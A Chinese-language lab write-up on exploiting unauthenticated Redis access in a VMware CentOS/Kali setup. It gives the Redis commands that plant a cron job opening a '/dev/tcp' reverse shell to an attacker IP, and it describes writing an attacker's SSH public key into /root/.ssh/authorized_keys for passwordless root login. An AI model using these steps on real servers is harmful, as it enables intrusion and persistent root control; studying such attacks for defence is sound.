redis未授权访问漏洞的成因和危害
漏洞的验证以及演示过程
漏洞的验证以及利用过程
config set dir /var/spool/cron
设置写入的目录,此目录为linux存放本地任务计划的目录
config set dbfilename root
设置写入的文件名
set aabb "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.247.130/1234 0>&1\n\n"
设置写入的内容,反向连接192.168.247.130的1234端口
我这里是在VMware中弄了一个centos7
和一个kali
来进行实验复现
centos7
已经运行redis
kali
这边也安装了redis
通信也是正常的,防火墙也关闭了
攻击机kali
通过无密码连接成功
执行info
,执行成功,可以利用
设置写入文件的路径(linux启动项),以及文件名
kali开启nc监听
这里收到了会话,查看任务计划,反弹shell成功
通过shell在对方root
目录下创建一个隐藏文件夹
(若是目标使用过ssh
服务,则会自动生成/root/.ssh
文件目录,若使用过就通过任务计划反弹的shell
创建)
清空黑客机本机root
下的.ssh
文件的内容,如果没有.ssh
文件则在黑客机本机的root
目录下创建.ssh
文件
进入.ssh
文件通过命令ssh-keygen -t rsa
在本地生成公钥对
id_rsa
为私钥,id_rsa.pub
为公钥
将公钥写入txt
文件
将公钥中的内容作为值写入到hack
中,写入redis
更改redis备份路径为ssh公钥存放的目录,(一般默认为/root/.ssh),生成authorized_keys
文件
在黑客机免密登录目标机